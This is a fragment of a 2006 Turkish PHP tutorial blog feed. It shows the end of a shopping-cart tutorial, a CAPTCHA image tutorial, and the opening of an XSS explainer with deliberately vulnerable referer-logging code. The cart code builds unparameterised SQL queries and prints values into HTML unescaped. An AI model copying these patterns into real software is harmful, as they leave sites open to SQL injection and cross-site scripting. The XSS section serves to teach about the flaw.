$kullaniciadi=$_SESSION['kullaniciadi'];&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  $result1 = mysql_query("SELECT * FROM uyeler WHERE kullaniciadi='{$kullaniciadi}'");&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  if (!$result1) {&lt;br&gt;&lt;br /&gt;  echo "Sorguda hata var ($sql) sorguyu g&amp;ouml;zden ge&amp;ccedil;irin: " . mysql_error();&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  $row1 = mysql_fetch_assoc($result1);&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  $uyeid=$row1['id'];&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  $urunler = $yeni_sepet-&amp;gt;sepeti_listele();&lt;br&gt;&lt;br /&gt;  while (list($anahtar,$deger) = each($urunler)) {&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  $tutar=explode("-", $deger);&lt;br&gt;&lt;br /&gt;  $result=  mysql_query("INSERT INTO `sparis`(`uyeid`,`sparis`,`fiyat`,`adet`)  VALUES('{$uyeid}','{$anahtar}','{$tutar[1]}','{$tutar[0]}')") or  die(mysql_error());&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  if (!$result) {&lt;br&gt;&lt;br /&gt;  echo "Sorguda hata var ($sql) sorguyu g&amp;ouml;zden ge&amp;ccedil;irin: " . mysql_error();&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }else{&lt;br&gt;&lt;br /&gt;  echo "bilgileriniz ve sipari&amp;#351;leriniz al&amp;#305;nd&amp;#305;,en k&amp;#305;sa zamnda sizinle kontak kurup bilgileri do&amp;#287;ruluyaca&amp;#287;&amp;#305;z.Te&amp;#351;ekk&amp;uuml;r ederiz.";&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  $urunler = $yeni_sepet-&amp;gt;sepeti_listele();&lt;br&gt;&lt;br /&gt;  $durum=0;&lt;br&gt;&lt;br /&gt;  $sepet='&amp;lt;table border=1&amp;gt;';&lt;br&gt;&lt;br /&gt;  $toplamtutar=0;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  if($urunler){&lt;br&gt;&lt;br /&gt;  while (list($anahtar,$deger) = each($urunler)) {&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  $tutar=explode("-", $deger);&lt;br&gt;&lt;br /&gt;  $toplam=$tutar[0]*$tutar[1];&lt;br&gt;&lt;br /&gt;  $sepet.= "&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;Uuml;r&amp;uuml;n ".$anahtar."&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;".$toplam." YTL ".$tutar[0].' adet &amp;lt;/td&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;td&amp;gt; &amp;lt;FORM method="POST" action="sepet1.php" method=post&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;INPUT type="hidden" name="urun" value="'.$anahtar.'"&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;INPUT type="hidden" name="adet" size="9" value="'.$deger.'"&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;input type=hidden name="durum" value=2&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;INPUT type="submit" value="Sepeten Sil"&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&lt;br&gt;&lt;br /&gt;  $durum=1;&lt;br&gt;&lt;br /&gt;  $toplamtutar +=$toplam;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  }else{&lt;br&gt;&lt;br /&gt;  echo "&amp;lt;h2&amp;gt;sepetiniz bo&amp;#351;&amp;lt;/h2&amp;gt;";&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  if($durum){ &lt;br&gt;&lt;br /&gt;  $bosalt= '&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;FORM method="POST" action="sepet1.php" method=post&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;input type=hidden name="durum" value=3&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;INPUT type="submit" value="Sepeti bo&amp;#351;alt"&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;FORM method="POST" action="sepet1.php" method=post&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;input type=hidden name="durum" value=4&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;INPUT type="submit" value="G&amp;ouml;nder"&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&lt;br&gt;&lt;br /&gt;  $sepet.='&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Toplam Tutar:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;'.$toplamtutar.'&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  $sepet.=$bosalt;&lt;br&gt;&lt;br /&gt;  $sepet.="&amp;lt;/table&amp;gt;";&lt;br&gt;&lt;br /&gt;  echo $sepet;&lt;br&gt;&lt;br /&gt;  ?&amp;gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115971045935758731?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115971045935758731/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115971045935758731' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971045935758731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971045935758731'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/php-alisveris-sitesi-yapimi.html' title='PHP Alisveris Sitesi Yapimi'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115971031215778746</id><published>2006-10-01T05:44:00.000-08:00</published><updated>2006-10-01T05:45:12.216-08:00</updated><title type='text'>PHP Güvenlik Kod Uygulaması</title><content type='html'>&lt;p&gt;&lt;br&gt;&lt;br /&gt;    &lt;strong&gt;g&amp;uuml;venlik.php:&lt;br&gt;&lt;br /&gt;  &lt;/strong&gt;&amp;lt;?&lt;br&gt;&lt;br /&gt;  function olustur () {&lt;br&gt;&lt;br /&gt;  &amp;nbsp;$sifre = substr(md5(rand(0,999999999999)),-6);&lt;br&gt;&lt;br /&gt;  &amp;nbsp;if ($sifre) {&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;session_start();&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;$_SESSION["guv"] = $sifre;&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;$width&amp;nbsp; = 100;&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;$height =&amp;nbsp; 30;&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;$resim&amp;nbsp; = ImageCreate($width,$height);&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;$beyaz&amp;nbsp; = ImageColorAllocate($resim, 255, 255, 255);&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;$rand&amp;nbsp;&amp;nbsp; = ImageColorAllocate($resim, rand(0,255), rand(0,255), rand(0,255));&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;ImageFill($resim, 0, 0, $rand);&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;ImageString($resim, 5, 24, 7, $_SESSION["guv"], $beyaz);&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;ImageLine($resim, 100, 19, 0, 19, $beyaz);&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;header("Content,type: image/png");&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;ImagePng($resim);&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;ImageDestroy($resim);&lt;br&gt;&lt;br /&gt;  &amp;nbsp;}&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  olustur();&lt;br&gt;&lt;br /&gt;  ?&amp;gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Evet &amp;#351;imdi sat&amp;#305;r sat&amp;#305;r a&amp;ccedil;&amp;#305;klayal&amp;#305;m....&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;function olustur () {&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  bu sat&amp;#305;rda olustur(); fonksiyonumuzu tan&amp;#305;ml&amp;#305;yoruz&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;$sifre = substr(md5(rand(0,999999999999)),-6);&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  bu  sat&amp;#305;rda rasgele rand() fonksiyonu ile &amp;uuml;retilen degerin md5() fonksiyonu  ile &amp;#351;ifreleyip subtr() fonksiyonu ile olu&amp;#351;an degerin son 6 karakterini  al&amp;#305;p $sifre de&amp;#287;i&amp;#351;kenimize at&amp;#305;yoruz..&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;if ($sifre) {&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  sat&amp;#305;r&amp;#305; ile $sifre de&amp;#287;i&amp;#351;kenimiz do&amp;#287;ru d&amp;ouml;nd&amp;uuml;yse yani bir deger elde edildiyse i&amp;#351;lemlere ba&amp;#351;la dedik&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;session_start();&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  olu&amp;#351;an degeri bir oturum de&amp;#287;i&amp;#351;kenine kaydedebilmek i&amp;ccedil;in oturumumuzu ba&amp;#351;latt&amp;#305;k&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;$_SESSION["guv"] = $sifre;&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  bu sat&amp;#305;rda olu&amp;#351;an  degerimizi $_SESSION["guv"] oturum de&amp;#287;i&amp;#351;kenimize atad&amp;#305;k. B&amp;ouml;yle  yapmam&amp;#305;z&amp;#305;n nedeni di&amp;#287;er sayfalarda buna ula&amp;#351;abilmek. E&amp;#287;er ki olu&amp;#351;an  de&amp;#287;eri bir txt yada benzeri bi&amp;#351;eyde tutsayd&amp;#305;k bunu bulup g&amp;uuml;venli&amp;#287;imizi  delip ge&amp;ccedil;ebilirlerdi...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;$width&amp;nbsp; = 100;&lt;br&gt;&lt;br /&gt;  $height =&amp;nbsp; 30;&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  bu iki sat&amp;#305;rda ise olu&amp;#351;turaca&amp;#287;&amp;#305;m&amp;#305;z resmin en ve boy &amp;ouml;l&amp;ccedil;&amp;uuml;mlerini belirledik yani resmimiz 100x30 boyutlar&amp;#305;nda olucak...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;$resim&amp;nbsp; = ImageCreate($width,$height);&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  bu sat&amp;#305;rda ImageCreate(); fonksiyonu ile belirledi&amp;#287;imiz &amp;ouml;l&amp;ccedil;&amp;uuml;lerde bir resim yarat&amp;#305;p bunu $resim de&amp;#287;i&amp;#351;kenine at&amp;#305;yoruz...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;$beyaz&amp;nbsp; = ImageColorAllocate($resim, 255, 255, 255);&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  bu sat&amp;#305;rda ise ilerde kullanabilmek i&amp;ccedil;in bir renk tan&amp;#305;mlad&amp;#305;k ve rengimizi $beyaz de&amp;#287;i&amp;#351;kenine at&amp;#305;yoruz...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;$rand&amp;nbsp;&amp;nbsp; = ImageColorAllocate($resim, rand(0,255), rand(0,255), rand(0,255));&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  bu  sat&amp;#305;rda da bi &amp;ouml;nceki i&amp;#351;lem gibi bir renk tan&amp;#305;mlad&amp;#305;k fakat farkl&amp;#305; olarak  bu sat&amp;#305;rda tan&amp;#305;mlad&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z renk s&amp;uuml;rekli de&amp;#287;i&amp;#351;en bir renktir. isterseniz  siz bu 2 sat&amp;#305;rda ba&amp;#351;ka renkleri deneyebilirsiniz... &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;ImageFill($resim, 0, 0, $rand);&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  bu sat&amp;#305;r&amp;#305;m&amp;#305;zda  ImageFill() fonksiyonu kullanarak olu&amp;#351;turmu&amp;#351; oldu&amp;#287;umuz resmimizin  arkaplan rengini belirledik... Ve bu s&amp;uuml;rekli de&amp;#287;i&amp;#351;en bir arkaplan  olucakt&amp;#305;r. dedi&amp;#287;im gibi isterseniz siz bunu sabitleyebilirsiniz...&lt;br&gt;&lt;br /&gt;  G&amp;ouml;r&amp;uuml;nt&amp;uuml;  koordinatlar&amp;#305;, sol &amp;uuml;st k&amp;ouml;&amp;#351;eden ba&amp;#351;lar (x=0, y=0). G&amp;ouml;r&amp;uuml;nt&amp;uuml;n&amp;uuml;n sa&amp;#287; alt  k&amp;ouml;&amp;#351;esi ise x=$width y=$height dir. Tipik grafik standart&amp;#305;n&amp;#305;n tam tersi  oldu&amp;#287;u i&amp;ccedil;in bunu unutmay&amp;#305;n&amp;#305;z...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;ImageString($resim, 5, 24, 7, $_SESSION["guv"], $beyaz);&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  bu  sat&amp;#305;rda ise ImageString(); fonksiyonu ile tan&amp;#305;mlam&amp;#305;&amp;#351; oldu&amp;#287;umuz resim  dosyas&amp;#305;nda belirledi&amp;#287;imiz koordinatlara daha &amp;ouml;nceden elde etti&amp;#287;imiz  kodu resmimizin &amp;uuml;zerine yazd&amp;#305;r&amp;#305;yoruz.. burda yaz&amp;#305;lan yaz&amp;#305;n&amp;#305;n rengi  beyazd&amp;#305;r... burda 24,7 x ve y koordinatlar&amp;#305;n&amp;#305; temsil etmektedir&amp;nbsp; burda  font 1 ile 5 aras&amp;#305;nda de&amp;#287;i&amp;#351;en bir say&amp;#305;d&amp;#305;r.. Bunlar bir dizi yerle&amp;#351;ik  fontu temsil etmektedir..&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;ImageLine($resim, 100, 19, 0, 19, $beyaz);&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  burda  ise olu&amp;#351;turdu&amp;#287;umuz resmimize bir &amp;ccedil;izgi &amp;ccedil;iziyoruz.. yani maksat biraz  daha zorla&amp;#351;t&amp;#305;rmak... burdaki 100 19 0 19 de&amp;#287;erleri ile oynayabilirsiniz  daha de&amp;#287;i&amp;#351;ik &amp;ccedil;izgiler elde etmek i&amp;ccedil;in...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;header("Content,type: image/png");&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  bu  sat&amp;#305;r&amp;#305;m&amp;#305;zda art&amp;#305;k olu&amp;#351;an resmimizin tip'ini belirliyoruz ben png olarak  belirledim siz isterseniz jpeg olarak da belirleyebilirsiniz..&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;ImagePng($resim);&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  bu sat&amp;#305;rda ise olu&amp;#351;turdu&amp;#287;umuz resmi ekrana bas&amp;#305;yoruz...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;ImageDestroy($resim);&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  en son olarak resmimiz i&amp;ccedil;in ayr&amp;#305;lan belle&amp;#287;i bo&amp;#351;alt&amp;#305;yoruz...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;}&lt;br&gt;&lt;br /&gt;  }&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  ile fonksiyonumuzu sonland&amp;#305;r&amp;#305;yoruz&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;olustur();&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;diyerek art&amp;#305;k guvenlik.php imizi bitiriyoruz...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br&gt;&lt;br /&gt;    &lt;strong&gt;form.php:&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;lt;? session_start(); ?&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;FORM METHOD="POST" ACTION="kontrol.php"&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;img src="guvenlik.php"&amp;gt;&amp;lt;br&amp;gt;&lt;br&gt;&lt;br /&gt;  G&amp;uuml;venlik Kodu:&amp;lt;INPUT TYPE="text" NAME="kod"&amp;gt;&amp;lt;br&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;INPUT TYPE="submit"&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;/FORM&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;burda dikkatli olmam&amp;#305;z gereken olu&amp;#351;an ve de&amp;#287;i&amp;#351;en resmimizi &amp;lt;img  src=guvenlik.php&amp;gt; &amp;#351;eklinde ekrana g&amp;ouml;stermemizdir e&amp;#287;er siz  guvenlik.php yi include edip ard&amp;#305;ndan olustur(); derseniz ekranda resim  yerine abuk subuk karakterler g&amp;ouml;rebilirsiniz...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;kontrol.php:&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;?&lt;br&gt;&lt;br /&gt;  session_start();&lt;br&gt;&lt;br /&gt;  if (empty($_POST["kod"]) || empty($_SESSION["guv"]) || !$_SESSION["guv"]) {&lt;br&gt;&lt;br /&gt;  &amp;nbsp;echo "&amp;lt;a href=form.php&amp;gt;L&amp;uuml;tfen Form Sayfas&amp;#305;na Gidiniz..&amp;lt;/a&amp;gt;";&lt;br&gt;&lt;br /&gt;  } else {&lt;br&gt;&lt;br /&gt;  &amp;nbsp;if ($_POST["kod"] == $_SESSION["guv"]) {&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;echo "G&amp;uuml;venlik Kodu Do&amp;#287;ru...";&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;unset($_SESSION["guv"]);&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;exit;&lt;br&gt;&lt;br /&gt;  &amp;nbsp;} else {&lt;br&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;echo "&amp;lt;a href=form.php&amp;gt;G&amp;uuml;venlik Kodu Hatal&amp;#305; L&amp;uuml;tfen Yeniden Deneyiniz...&amp;lt;/a&amp;gt;";&lt;br&gt;&lt;br /&gt;  &amp;nbsp;}&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  ?&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;ilk sat&amp;#305;rda oturum ba&amp;#351;lat&amp;#305;yoruz $_SESSION["guv"] oturum de&amp;#287;i&amp;#351;kenine eri&amp;#351;ebilmek ve oturum kontrol&amp;uuml; i&amp;ccedil;in.... &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;if (empty($_POST["kod"]) || empty($_SESSION["guv"]) || !$_SESSION["guv"]) {&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  bu sat&amp;#305;rda baz&amp;#305; ki&amp;#351;ilerin direk g&amp;uuml;venlik kodumuzu ge&amp;ccedil;melerini engellemek i&amp;ccedil;in yazd&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z bir dizi g&amp;uuml;venlik sat&amp;#305;r&amp;#305; yazd&amp;#305;k...&lt;br&gt;&lt;br /&gt;  empty()  fonksiyonu ile kod de&amp;#287;i&amp;#351;kenin gelip gelmedi&amp;#287;i ayn&amp;#305; &amp;#351;ekilde  $_SESSION["guv"] olu&amp;#351;up olu&amp;#351;mad&amp;#305;&amp;#287;&amp;#305; ya da !$_SESSION["guv"] ile  ziyaret&amp;ccedil;i i&amp;ccedil;in bir oturum kaydedilmi&amp;#351; mi diye bak&amp;#305;yoruz.. e&amp;#287;er bunlar  olmam&amp;#305;&amp;#351; ise ekrana form sayfas&amp;#305;na gitmeleri i&amp;ccedil;in y&amp;ouml;nlendirme linkini  yazd&amp;#305;r&amp;#305;yoruz....&lt;/p&gt;&lt;br /&gt;&lt;p&gt;E&amp;#287;er ki&amp;#351;i form doldurmu&amp;#351; ise devreye &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;if ($_POST["kod"] == $_SESSION["guv"]) {&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  sat&amp;#305;r&amp;#305;  giriyor. burda formdan gelen kod de&amp;#287;eri ile olu&amp;#351;an ve session  de&amp;#287;i&amp;#351;keninde saklad&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z de&amp;#287;erleri kar&amp;#351;&amp;#305;la&amp;#351;t&amp;#305;r&amp;#305;yoruz e&amp;#287;er bu 2 deger  birbiri ile uyu&amp;#351;uyorsa e&amp;#351;it ise ziyare&amp;ccedil;iyi bilgilendiriyoruz ve  ard&amp;#305;ndan unset() fonksiyonu ile olu&amp;#351;turdu&amp;#287;umuz session oturum  de&amp;#287;i&amp;#351;kenini sonland&amp;#305;r&amp;#305;yoruz yani i&amp;ccedil;eri&amp;#287;ini yok ediyoruz ve program&amp;#305;m&amp;#305;z&amp;#305;  sonland&amp;#305;r&amp;#305;yoruz..&lt;/p&gt;&lt;br /&gt;&lt;p&gt;E&amp;#287;er gelen de&amp;#287;er ile session'da saklad&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z de&amp;#287;erler birbirine e&amp;#351;it de&amp;#287;ilse ziyaret&amp;ccedil;iyi uyar&amp;#305;yoruz...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Evet bir g&amp;uuml;venlik kod uygulamas&amp;#305; mant&amp;#305;&amp;#287;&amp;#305;n&amp;#305; anlatmaya &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;m bu  basit bir resim ortaya suncakt&amp;#305;r. Siz isterseniz dahada karma&amp;#351;&amp;#305;k bir  resim elde edebilirsiniz veya arkaplanda renk yerine kendinizin kareli  vb resimlerinizi kullanabilirsiniz yada fontlar&amp;#305; de&amp;#287;i&amp;#351;tirebilirsiniz... &lt;/p&gt;&lt;br /&gt;&lt;p&gt;GD uygulamalar&amp;#305; i&amp;ccedil;in &lt;a href="http://tr.php.net/gd"&gt;http://tr.php.net/gd&lt;/a&gt; k&amp;uuml;t&amp;uuml;phanesini inceleyebilirsiniz... &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Anlatt&amp;#305;&amp;#287;&amp;#305;m sistemin &amp;ccedil;al&amp;#305;&amp;#351;an hali&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.ayva.net/form.php"&gt;http://www.ayva.net/form.php&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115971031215778746?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115971031215778746/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115971031215778746' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971031215778746'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115971031215778746'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/php-gvenlik-kod-uygulamas.html' title='PHP Güvenlik Kod Uygulaması'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115971011619623470</id><published>2006-10-01T05:40:00.000-08:00</published><updated>2006-10-01T05:41:56.303-08:00</updated><title type='text'>Cross Site Scripting - Perdenin arkasini acalim</title><content type='html'>&lt;div id="post_message_221843"&gt;&lt;strong&gt;Cross Site Scripting &lt;/strong&gt;&lt;br&gt;&lt;br /&gt;    &lt;br&gt;&lt;br /&gt;  Cross site scripting(XSS) sald&amp;#305;r&amp;#305;lar&amp;#305; kullan&amp;#305;c&amp;#305;ya as&amp;#305;l g&amp;ouml;sterilmesi  gereken verinin de&amp;#287;i&amp;#351;tirilerek yollamas&amp;#305;na sebebiyet veren bir unsurdur.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Web sayfalar&amp;#305; y&amp;#305;llar ge&amp;ccedil;tik&amp;ccedil;e dinamikle&amp;#351;ti, bu s&amp;uuml;re&amp;ccedil; i&amp;ccedil;inde web  yaz&amp;#305;l&amp;#305;mlar&amp;#305; d&amp;#305;&amp;#351;ardan veri almak zorunda kald&amp;#305;.Gelen verilerin kontrol  edilmemesi, ve eksik kontrol edilmesi sonucu &amp;#351;u anki xss &amp;ccedil;&amp;#305;lg&amp;#305;nl&amp;#305;&amp;#287;&amp;#305;  ortaya &amp;ccedil;&amp;#305;kt&amp;#305;.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Bu veri, herhangi bir mesaj tahtas&amp;#305;n&amp;#305;n formundan  gelen veri, URL ustunden gelen queryData veya kullan&amp;#305;c&amp;#305;n&amp;#305;n  cookie'sinden gelen veri olabilir.K&amp;#305;saca kullan&amp;#305;c&amp;#305;n&amp;#305;n de&amp;#287;i&amp;#351;tirip  yollayabilece&amp;#287;i t&amp;uuml;m veriler.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &amp;Ouml;rnek olarak gelen son referer bilgilerini loglay&amp;#305;p bunu sayfada g&amp;ouml;steren &amp;ouml;rnek bir uygulamay&amp;#305; ele alal&amp;#305;m.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;div&gt;&lt;br /&gt;    &lt;div&gt;Kod:&lt;/div&gt;&lt;br /&gt;    &lt;pre&gt;&lt;div dir="ltr"&gt;&amp;lt;?&lt;br&gt;$referal = $_SERVER["HTTP_REFERER"] . "&amp;amp;";&lt;br&gt;$ac = fopen("referers.txt", "a+");&lt;br&gt;fwrite($ac, $referal);&lt;br&gt;fclose($ac);&lt;br&gt;&lt;br&gt;// refererleri oku&lt;br&gt;$referals = file_get_contents("referers.txt");&lt;br&gt;$ayir = explode("&amp;amp;", $referals);&lt;br&gt;foreach ($ayir as $ref) {&lt;br&gt;    echo $ref."&amp;lt;br /&amp;gt;";&lt;br&gt;}&lt;br&gt;?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Yukar&amp;#305;daki uygulama en ba&amp;#351;ta zarars&amp;#305;z olarak g&amp;ouml;r&amp;uuml;nebilir.Fakar  HTTP_REFERER bilgisi bir&amp;ccedil;ok makalede yaz&amp;#305;ld&amp;#305;&amp;#287;&amp;#305;, bir &amp;ccedil;ok uygulamada  &amp;ccedil;e&amp;#351;itli g&amp;uuml;venlik kontrollerinde kullan&amp;#305;lmas&amp;#305;na ra&amp;#287;men g&amp;uuml;venilebilinir  bir veri de&amp;#287;ildir.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Zira sald&amp;#305;rgan&amp;#305;n biri PHP'nin cURL kutuphanesi yard&amp;#305;m&amp;#305;yla a&amp;#351;a&amp;#287;&amp;#305;daki gibi bir kod yazabilir.&lt;br&gt;&lt;br 